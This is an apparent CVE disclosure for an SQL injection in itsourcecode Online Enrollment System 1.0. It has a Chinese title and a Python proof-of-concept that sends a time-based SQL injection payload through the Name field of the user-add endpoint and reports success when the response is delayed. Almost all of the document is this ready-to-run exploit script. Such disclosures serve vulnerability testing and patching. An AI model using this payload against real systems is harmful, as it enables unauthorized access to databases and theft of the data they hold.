CVE-2026-4632: itsourcecode在线注册系统SQL注入漏洞

# PoC for CVE-2026-4632 # Target: itsourcecode Online Enrollment System 1.0 # Endpoint: /sms/user/index.php?view=add # Parameter: Name import requests def check_sqli(url): # Payload to trigger SQL syntax error or time-based delay payload = "' OR SLEEP(5)-- -" # Target endpoint target = f"{url}/sms/user/index.php?view=add" # Data payload sending malicious Name parameter data = { "Name": payload } try: response = requests.post(target, data=data, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based).") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" check_sqli(target_ip)